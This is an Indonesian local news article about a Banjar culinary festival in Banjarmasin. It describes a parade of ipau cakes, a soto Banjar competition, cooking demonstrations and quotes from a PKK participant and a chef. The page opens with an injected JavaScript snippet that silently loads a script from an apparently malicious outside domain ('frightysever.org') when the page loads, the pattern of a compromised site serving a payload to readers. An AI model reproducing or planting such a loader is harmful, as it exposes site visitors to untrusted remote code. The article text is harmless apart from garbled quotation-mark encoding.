(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ragam

Ada Masubah, Ipau Hingga Kararaban di Festival Kuliner Banjar

BANJARMASIN, Sejumlah nama kuliner khas Banjar yang mulai asing terdengar bahkan hanya tinggal beberapa orang yang masih bisa mengolahnya ditampilkan dalam Festival Kuliner Banjar, di Siring Menara Pandang, Sabtu (16/12).

Festival Kuliner Banjar ini diisi parade 1000 wadai ipau, makanan alias kuliner khas Banjar lainnya seperti nasi astakona, soto banjar, ipau, wadai kararaban, hingga wadai masubah hadir dalam festival jajanan ini.

Selain itu, ada berbagai macam jenis soto Banjar disajikan untuk diperlombakan. Ada 15 peserta ikut berpartisipasi dalam lomba ini, peserta kebanyakan yang punya warung soto Banjar yang ada di Banjarmasin. Tampil sebagai juri adalah Chef Agus Sasirangan dan Ketua Tim Penggerak PKK Kota Banjarmasin Siti Wasilah.

Festival jajanan kuliner Banjar ini juga menampilkan demo memasak wadai Banjar bersama para chef dari hotel di Banjarmasin.

Juga lomba merangkai sayur dan buah oleh kader PKK dari seluruh kelurahan di kota Banjarmasin.

Salah sau peserta dari Tim Penggerak PKK Kelurahan Pekapuran, Haryani merasa senang, Pemkot Banjarmasi mengadakan acara seperti ini tiap tahun. Ã¢â‚¬Å“Ini untuk merangsang kreatifitas kita sebagai ibu-ibu,Ã¢â‚¬Â akunya.

Menurut chef Agus Sasirangan acara ini, ibu-ibu memiliki peran penting sebagai agen penggerak untuk melestarikan kuliner tradisional sehingga dapat lebih memperkenalkan jajanan khas Banjar.

Ã¢â‚¬Å“Acara ini sangat seru, ini adalah salah satu moment dan langkah awal untuk memperkenalkan kuliner khas Banjarmasin kepada masyarakat, karena banyak yang belum tahu,Ã¢â‚¬Â ujarnya. (asriyani)

Foto : asriyani

Reporter : Asriyani
Editor : Abi Zarrin Al Ghifari